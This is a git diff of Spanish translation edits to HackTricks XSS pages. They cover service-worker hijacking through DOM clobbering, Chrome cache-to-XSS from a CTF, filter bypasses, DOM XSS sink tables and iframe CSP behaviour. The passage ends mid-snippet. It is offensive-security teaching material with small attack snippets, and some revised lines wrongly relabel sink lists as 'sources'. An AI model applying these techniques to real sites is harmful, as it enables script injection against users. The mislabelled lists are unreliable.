un **service worker (SW)** malicioso o comprometido a un máximo de 24 horas después de una corrección de vulnerabilidad de XSS, asumiendo un estado de cliente en línea. Para minimizar la vulnerabilidad, los operadores del sitio pueden reducir el Tiempo de Vida (TTL) del script de SW. También se recomienda a los desarrolladores crear un [**interruptor de apagado del service worker**](https://stackoverflow.com/questions/33986976/how-can-i-remove-a-buggy-service-worker-or-implement-a-kill-switch/38980776#38980776) para una desactivación rápida. +La directiva de **caché de 24 horas** limita la vida de un **service worker (SW)** malicioso o comprometido a un máximo de 24 horas después de una corrección de vulnerabilidad XSS, asumiendo un estado de cliente en línea. Para minimizar la vulnerabilidad, los operadores del sitio pueden reducir el Tiempo de Vida (TTL) del script de SW. También se recomienda a los desarrolladores crear un [**interruptor de apagado de service worker**](https://stackoverflow.com/questions/33986976/how-can-i-remove-a-buggy-service-worker-or-implement-a-kill-switch/38980776#38980776) para una desactivación rápida. ## Abusando de `importScripts` en un SW a través de DOM Clobbering -La función **`importScripts`** llamada desde un Service Worker puede **importar un script desde un dominio diferente**. Si esta función se llama usando un **parámetro que un atacante podría** modificar, podría **importar un script JS desde su dominio** y obtener XSS. +La función **`importScripts`** llamada desde un Service Worker puede **importar un script de un dominio diferente**. Si esta función se llama usando un **parámetro que un atacante podría** modificar, podría **importar un script JS de su dominio** y obtener XSS. -**Esto incluso evade las protecciones de CSP.** +**Esto incluso evade las protecciones CSP.** **Código vulnerable de ejemplo:** @@ -124,10 +124,10 @@ Encuentra las vulnerabilidades que más importan para que puedas solucionarlas m ☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión del PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)! +* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres que tu **empresa sea anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión del PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)! * Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family) * Obtén la [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com) -* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme en** **Twitter** **🐦**[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** * **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud). diff --git a/pentesting-web/xss-cross-site-scripting/chrome-cache-to-xss.md b/pentesting-web/xss-cross-site-scripting/chrome-cache-to-xss.md index dd74d4426..7f9eee266 100644 --- a/pentesting-web/xss-cross-site-scripting/chrome-cache-to-xss.md +++ b/pentesting-web/xss-cross-site-scripting/chrome-cache-to-xss.md @@ -7,14 +7,14 @@ * ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)! * Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family) * Obtén la [**ropa oficial de PEASS & HackTricks**](https://peass.creator-spring.com) -* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme en** **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme en** **Twitter** **🐦**[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** * **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud). Más detalles en [**este informe**](https://blog.arkark.dev/2022/11/18/seccon-en/#web-spanote). -La técnica discutida aquí implica comprender el comportamiento y la interacción de dos tipos principales de caché: la **caché de retroceso/avance (bfcache)** y la **caché de disco**. El bfcache, que almacena una instantánea completa de una página incluyendo el montón de JavaScript, tiene prioridad sobre la caché de disco para las navegaciones de retroceso/avance debido a su capacidad para almacenar una instantánea más completa. La caché de disco, en contraste, almacena recursos obtenidos de la web sin incluir el montón de JavaScript, y se utiliza para las navegaciones de retroceso/avance para reducir los costos de comunicación. Un aspecto interesante de la caché de disco es su inclusión de recursos obtenidos utilizando `fetch`, lo que significa que los recursos de URL accedidos serán renderizados por el navegador desde la caché. +La técnica discutida aquí implica comprender el comportamiento y la interacción de dos tipos de caché principales: la **caché de retroceso/avance (bfcache)** y la **caché de disco**. El bfcache, que almacena una instantánea completa de una página incluyendo el montón de JavaScript, tiene prioridad sobre la caché de disco para las navegaciones de retroceso/avance debido a su capacidad para almacenar una instantánea más completa. La caché de disco, en contraste, almacena recursos obtenidos de la web sin incluir el montón de JavaScript, y se utiliza para las navegaciones de retroceso/avance para reducir los costos de comunicación. Un aspecto interesante de la caché de disco es su inclusión de recursos obtenidos mediante `fetch`, lo que significa que los recursos de URL accedidos serán renderizados por el navegador desde la caché. ### Puntos Clave: @@ -32,7 +32,7 @@ Por defecto, Puppeteer deshabilita el bfcache, alineándose con las condiciones 3. En la pestaña recién abierta, navega a `http://spanote.seccon.games:3000/`. Esta acción almacena la respuesta de `http://spanote.seccon.games:3000/api/token` como una caché de disco. 4. Usa `history.back()` para retroceder. La acción resulta en la renderización de la respuesta JSON en caché en la página. -La confirmación de que se utilizó la caché de disco se puede verificar a través del uso de DevTools en Google Chrome. +La confirmación de que se utilizó la caché de disco se puede verificar mediante el uso de DevTools en Google Chrome. Para más detalles sobre bfcache y caché de disco, se pueden encontrar referencias en [web.dev sobre bfcache](https://web.dev/i18n/en/bfcache/) y en [los documentos de diseño de Chromium sobre caché de disco](https://www.chromium.org/developers/design-documents/network-stack/disk-cache/), respectivamente. @@ -44,7 +44,7 @@ Para más detalles sobre bfcache y caché de disco, se pueden encontrar referenc * ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)! * Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family) * Obtén la [**ropa oficial de PEASS & HackTricks**](https://peass.creator-spring.com) -* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme en** **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme en** **Twitter** **🐦**[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** * **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud). diff --git a/pentesting-web/xss-cross-site-scripting/dom-clobbering.md b/pentesting-web/xss-cross-site-scripting/dom-clobbering.md index 2e4b349d7..2820ca022 100644 --- a/pentesting-web/xss-cross-site-scripting/dom-clobbering.md +++ b/pentesting-web/xss-cross-site-scripting/dom-clobbering.md @@ -7,7 +7,7 @@ * ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)! * Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family) * Obtén la [**ropa oficial de PEASS & HackTricks**](https://peass.creator-spring.com) -* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme en** **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme en** **Twitter** **🐦**[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** * **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud). @@ -67,7 +67,7 @@ alert(a.b.c.d.e)//controlled ``` ### **Burlando Filtros** -Si un filtro está **recorriendo** las **propiedades** de un nodo usando algo como `document.getElementByID('x').attributes`, podrías **sobrescribir** el atributo **`.attributes`** y **romper el filtro**. Otras propiedades del DOM como **`tagName`**, **`nodeName`** o **`parentNode`** y más también son **sobrescribibles**. +Si un filtro está **recorriendo** las **propiedades** de un nodo usando algo como `document.getElementByID('x').attributes`, podrías **sobrescribir** la propiedad **`.attributes`** y **romper el filtro**. Otras propiedades del DOM como **`tagName`**, **`nodeName`** o **`parentNode`** y más también son **sobrescribibles**. ```html
@@ -111,7 +111,7 @@ Puedes [**encontrar un ejemplo de este tipo de clobbering en este informe de CTF Según la documentación, es posible sobrescribir atributos del objeto documento utilizando el DOM Clobbering: -> La interfaz [Document](https://html.spec.whatwg.org/multipage/dom.html#document) [admite propiedades con nombre](https://webidl.spec.whatwg.org/#dfn-support-named-properties). Los [nombres de propiedad admitidos](https://webidl.spec.whatwg.org/#dfn-supported-property-names) de un objeto [Document](https://html.spec.whatwg.org/multipage/dom.html#document) document en cualquier momento consisten en lo siguiente, en [orden de árbol](https://dom.spec.whatwg.org/#concept-tree-order) según el elemento que los contribuyó, ignorando duplicados posteriores, y con valores de atributos [id](https://html.spec.whatwg.org/multipage/dom.html#the-id-attribute) que vienen antes de los valores de atributos de nombre cuando el mismo elemento contribuye ambos: +> La interfaz [Document](https://html.spec.whatwg.org/multipage/dom.html#document) [admite propiedades con nombre](https://webidl.spec.whatwg.org/#dfn-support-named-properties). Los nombres de propiedad admitidos de un objeto [Document](https://html.spec.whatwg.org/multipage/dom.html#document) document en cualquier momento consisten en lo siguiente, en [orden de árbol](https://dom.spec.whatwg.org/#concept-tree-order) según el elemento que los contribuyó, ignorando duplicados posteriores, y con valores de atributos [id](https://html.spec.whatwg.org/multipage/dom.html#the-id-attribute) que vienen antes de los valores de atributos de nombre cuando el mismo elemento contribuye ambos: > > \- El valor del atributo de contenido de nombre para todos los elementos [expuestos](https://html.spec.whatwg.org/multipage/dom.html#exposed) [embed](https://html.spec.whatwg.org/multipage/iframe-embed-object.html#the-embed-element), [form](https://html.spec.whatwg.org/multipage/forms.html#the-form-element), [iframe](https://html.spec.whatwg.org/multipage/iframe-embed-object.html#the-iframe-element), [img](https://html.spec.whatwg.org/multipage/embedded-content.html#the-img-element) y elementos [expuestos](https://html.spec.whatwg.org/multipage/dom.html#exposed) [object](https://html.spec.whatwg.org/multipage/iframe-embed-object.html#the-object-element) que tienen un atributo de contenido de nombre no vacío y están [en un árbol de documentos](https://dom.spec.whatwg.org/#in-a-document-tree) con el documento como su [raíz](https://dom.spec.whatwg.org/#concept-tree-root);\ > \ @@ -202,7 +202,7 @@ Click to send! * [https://portswigger.net/research/hijacking-service-workers-via-dom-clobbering](https://portswigger.net/research/hijacking-service-workers-via-dom-clobbering) * [https://portswigger.net/web-security/dom-based/dom-clobbering](https://portswigger.net/web-security/dom-based/dom-clobbering) -* Heyes, Gareth. JavaScript for hackers: Aprende a pensar como un hacker. +* Heyes, Gareth. JavaScript para hackers: Aprende a pensar como un hacker.
@@ -210,8 +210,8 @@ Click to send! * ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión del PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)! * Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family) -* Obtén la [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com) -* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud). +* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com) +* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme en** **Twitter** **🐦**[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +* **Comparte tus trucos de hacking enviando PRs al** [**repositorio hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
diff --git a/pentesting-web/xss-cross-site-scripting/dom-xss.md b/pentesting-web/xss-cross-site-scripting/dom-xss.md index 2353caa66..c2325bcd6 100644 --- a/pentesting-web/xss-cross-site-scripting/dom-xss.md +++ b/pentesting-web/xss-cross-site-scripting/dom-xss.md @@ -6,8 +6,8 @@ * ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)! * Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family) -* Obtén la [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com) -* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +* Obtén la [**ropa oficial de PEASS & HackTricks**](https://peass.creator-spring.com) +* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme en** **Twitter** **🐦**[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** * **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud). @@ -16,7 +16,7 @@ Las vulnerabilidades del DOM ocurren cuando los datos de **fuentes** controladas por atacantes (como `location.search`, `document.referrer` o `document.cookie`) se transfieren de manera insegura a **sumideros**. Los sumideros son funciones u objetos (por ejemplo, `eval()`, `document.body.innerHTML`) que pueden ejecutar o renderizar contenido dañino si se les proporcionan datos maliciosos. -- Las **fuentes** son entradas que pueden ser manipuladas por atacantes, incluyendo URLs, cookies y mensajes web. +- Las **fuentes** son entradas que pueden ser manipuladas por atacantes, incluidas las URL, las cookies y los mensajes web. - Los **sumideros** son puntos finales potencialmente peligrosos donde los datos maliciosos pueden provocar efectos adversos, como la ejecución de scripts. El riesgo surge cuando los datos fluyen desde una fuente hacia un sumidero sin una validación o saneamiento adecuados, lo que permite ataques como XSS. @@ -42,9 +42,9 @@ sessionStorage IndexedDB (mozIndexedDB, webkitIndexedDB, msIndexedDB) Database ``` -**Fuentes Comunes:** +**Fuentes comunes:** -| [**Redirección Abierta**](dom-xss.md#open-redirect) | [**Inyección de Javascript**](dom-xss.md#javascript-injection) | [**Manipulación de datos-DOM**](dom-xss.md#dom-data-manipulation) | **jQuery** | +| [**Redirección abierta**](dom-xss.md#open-redirect) | [**Inyección de Javascript**](dom-xss.md#javascript-injection) | [**Manipulación de datos del DOM**](dom-xss.md#dom-data-manipulation) | **jQuery** | | -------------------------------------------------------------------------------- | ----------------------------------------------------------------------------------- | ------------------------------------------------------------- | ---------------------------------------------------------------------- | | `location` | `eval()` | `scriptElement.src` | `add()` | | `location.host` | `Constructor de Function()` | `scriptElement.text` | `after()` | @@ -70,7 +70,7 @@ Database | **\`\`**[**Manipulación de almacenamiento HTML5**](dom-xss.md#html-5-storage-manipulation) | `someDOMElement.action` | `someDOMElement.onevent` | `JSON.parse()` | | `sessionStorage.setItem()` | [**Inyección de XPath**](dom-xss.md#xpath-injection) | `document.write()` | `jQuery.parseJSON()` | | `localStorage.setItem()` | `document.evaluate()` | `document.writeln()` | `$.parseJSON()` | -| **``**[**`Denegación de Servicio`**](dom-xss.md#denial-of-service)**``** | `someDOMElement.evaluate()` | `document.title` | **\`\`**[**Manipulación de Cookies**](dom-xss.md#cookie-manipulation) | +| **``**[**`Denegación de servicio`**](dom-xss.md#denial-of-service)**``** | `someDOMElement.evaluate()` | `document.title` | **\`\`**[**Manipulación de cookies**](dom-xss.md#cookie-manipulation) | | `requestFileSystem()` | **\`\`**[**Manipulación de dominio de documento**](dom-xss.md#document-domain-manipulation) | `document.implementation.createHTMLDocument()` | `document.cookie` | | `RegExp()` | `document.domain` | `history.pushState()` | [**Envenenamiento de URL de WebSocket**](dom-xss.md#websocket-url-poisoning) | | [**Inyección de SQL en el lado del cliente**](dom-xss.md#client-side-sql-injection) | [**Manipulación de mensajes web**](dom-xss.md#web-message-manipulation) | `history.replaceState()` | `WebSocket` | @@ -78,7 +78,7 @@ Database El **sumidero `innerHTML`** no acepta elementos `script` en ningún navegador moderno, ni se activarán los eventos `svg onload`. Esto significa que necesitarás usar elementos alternativos como `img` o `iframe. -Este tipo de XSS es probablemente el **más difícil de encontrar**, ya que necesitas revisar el código JS, ver si está **usando** algún objeto cuyo **valor puedas controlar**, y en ese caso, ver si hay **alguna forma de abusar** de él para ejecutar JS arbitrario. +Este tipo de XSS probablemente sea el **más difícil de encontrar**, ya que necesitas revisar el código JS, ver si está **utilizando** algún objeto cuyo **valor puedas controlar**, y en ese caso, ver si hay **alguna forma de abusar** de él para ejecutar JS arbitrario. ## Herramientas para encontrarlos @@ -86,7 +86,7 @@ Este tipo de XSS es probablemente el **más difícil de encontrar**, ya que nece ## Ejemplos -### Redirección Abierta +### Redirección abierta Desde: [https://portswigger.net/web-security/dom-based/open-redirection](https://portswigger.net/web-security/dom-based/open-redirection) @@ -116,7 +116,7 @@ $.ajax() Desde: [https://portswigger.net/web-security/dom-based/cookie-manipulation](https://portswigger.net/web-security/dom-based/cookie-manipulation) -Las vulnerabilidades de manipulación de cookies basadas en el DOM ocurren cuando un script incorpora datos, que pueden ser controlados por un atacante, en el valor de una cookie. Esta vulnerabilidad puede llevar a un comportamiento inesperado de la página web si la cookie se utiliza dentro del sitio. Además, puede ser explotada para llevar a cabo un ataque de fijación de sesión si la cookie está involucrada en el seguimiento de sesiones de usuario. El principal punto de fuga asociado con esta vulnerabilidad es: +Las vulnerabilidades de manipulación de cookies basadas en el DOM ocurren cuando un script incorpora datos, que pueden ser controlados por un atacante, en el valor de una cookie. Esta vulnerabilidad puede provocar un comportamiento inesperado de la página web si la cookie se utiliza dentro del sitio. Además, puede ser explotada para llevar a cabo un ataque de fijación de sesión si la cookie está involucrada en el seguimiento de sesiones de usuario. El principal punto de fuga asociado con esta vulnerabilidad es: Puntos de fuga: ```javascript @@ -128,7 +128,7 @@ Desde: [https://portswigger.net/web-security/dom-based/javascript-injection](htt Las vulnerabilidades de inyección de JavaScript basadas en el DOM se crean cuando un script ejecuta datos, los cuales pueden ser controlados por un atacante, como código JavaScript. -Sinks: +Fuentes: ```javascript eval() Function() constructor @@ -141,13 +141,13 @@ msSetImmediate() range.createContextualFragment() crypto.generateCRMFRequest() ``` -### Manipulación de document-domain +### Manipulación del dominio del documento Desde: [https://portswigger.net/web-security/dom-based/document-domain-manipulation](https://portswigger.net/web-security/dom-based/document-domain-manipulation) -Las vulnerabilidades de **manipulación de document-domain** ocurren cuando un script establece la propiedad `document.domain` utilizando datos que un atacante puede controlar. +Las vulnerabilidades de **manipulación del dominio del documento** ocurren cuando un script establece la propiedad `document.domain` utilizando datos que un atacante puede controlar. -La propiedad `document.domain` juega un **papel clave** en la **aplicación** de la **política de mismo origen** por parte de los navegadores. Cuando dos páginas de orígenes diferentes establecen su `document.domain` en el **mismo valor**, pueden interactuar sin restricciones. Aunque los navegadores imponen ciertos **límites** en los valores asignables a `document.domain`, evitando la asignación de valores completamente no relacionados con el origen real de la página, existen excepciones. Normalmente, los navegadores permiten el uso de **dominios secundarios** o **padre**. +La propiedad `document.domain` juega un **papel clave** en la **aplicación** de la **política de la misma procedencia** por parte de los navegadores. Cuando dos páginas de diferentes orígenes establecen su `document.domain` en el **mismo valor**, pueden interactuar sin restricciones. Aunque los navegadores imponen ciertos **límites** en los valores asignables a `document.domain`, evitando la asignación de valores completamente no relacionados con el origen real de la página, existen excepciones. Normalmente, los navegadores permiten el uso de **dominios secundarios** o **padre**. Fuentes: ```javascript @@ -209,9 +209,9 @@ FileReader.root.getFile() Desde: [https://portswigger.net/web-security/dom-based/client-side-sql-injection](https://portswigger.net/web-security/dom-based/client-side-sql-injection) -Las vulnerabilidades de **inyección de SQL en el lado del cliente** ocurren cuando un script incorpora **datos controlados por el atacante en una consulta de SQL en el lado del cliente de una manera insegura**. +Las **vulnerabilidades de inyección de SQL en el lado del cliente** ocurren cuando un script incorpora **datos controlados por el atacante en una consulta de SQL en el lado del cliente de una manera insegura**. -Sinks: +Fuentes: ```javascript executeSql() ``` @@ -241,7 +241,7 @@ someDOMElement.evaluate() Desde: [https://portswigger.net/web-security/dom-based/client-side-json-injection](https://portswigger.net/web-security/dom-based/client-side-json-injection) -Las **vulnerabilidades de inyección de JSON basadas en el DOM** ocurren cuando un script incorpora **datos controlados por el atacante en una cadena que se analiza como una estructura de datos JSON y luego es procesada por la aplicación**. +Las vulnerabilidades de **inyección de JSON basadas en el DOM** ocurren cuando un script incorpora **datos controlados por el atacante en una cadena que se analiza como una estructura de datos JSON y luego es procesada por la aplicación**. Sinks: ```javascript @@ -311,10 +311,10 @@ RegExp() ☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)! +* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres que tu **empresa sea anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)! * Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family) -* Consigue el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme en** **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com) +* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme en** **Twitter** **🐦**[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** * **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud). diff --git a/pentesting-web/xss-cross-site-scripting/iframes-in-xss-and-csp.md b/pentesting-web/xss-cross-site-scripting/iframes-in-xss-and-csp.md index a5e1f3768..03c782a0b 100644 --- a/pentesting-web/xss-cross-site-scripting/iframes-in-xss-and-csp.md +++ b/pentesting-web/xss-cross-site-scripting/iframes-in-xss-and-csp.md @@ -2,12 +2,12 @@
-☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 +☁️ HackTricks Cloud ☁️ - 🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión del PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)! -* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family) +* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)! +* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family) * Obtén la [**ropa oficial de PEASS & HackTricks**](https://peass.creator-spring.com) -* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** **🐦**[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** * **Comparte tus trucos de hacking enviando PRs al [repositorio de hacktricks](https://github.com/carlospolop/hacktricks) y al [repositorio de hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
@@ -51,13 +51,13 @@ var secret="child secret"; alert(parent.secret) ``` -Si accedes al html anterior a través de un servidor http (como `python3 -m http.server`) notarás que todos los scripts se ejecutarán (ya que no hay CSP que lo prevenga). **El padre no podrá acceder a la variable `secret` dentro de ningún iframe** y **solo los iframes if2 e if3 (considerados del mismo sitio) pueden acceder al secreto** en la ventana original.\ -Observa cómo if4 se considera tener un origen `null`. +Si accedes al html anterior a través de un servidor http (como `python3 -m http.server`), notarás que todos los scripts se ejecutarán (ya que no hay CSP que lo prevenga). **El padre no podrá acceder a la variable `secret` dentro de ningún iframe** y **solo los iframes if2 e if3 (que se consideran del mismo sitio) pueden acceder al secreto** en la ventana original.\ +Observa cómo se considera que if4 tiene un origen `null`. ### Iframes con CSP {% hint style="info" %} -Por favor, observa cómo en los siguientes bypasses la respuesta a la página con iframe no contiene ninguna cabecera CSP que prevenga la ejecución de JS. +Por favor, ten en cuenta que en los siguientes bypasses la respuesta a la página con iframe no contiene ninguna cabecera CSP que prevenga la ejecución de JS. {% endhint %} El valor `self` de `script-src` no permitirá la ejecución del código JS utilizando el protocolo `data:` o el atributo `srcdoc`.\ @@ -78,7 +78,7 @@ var secret = 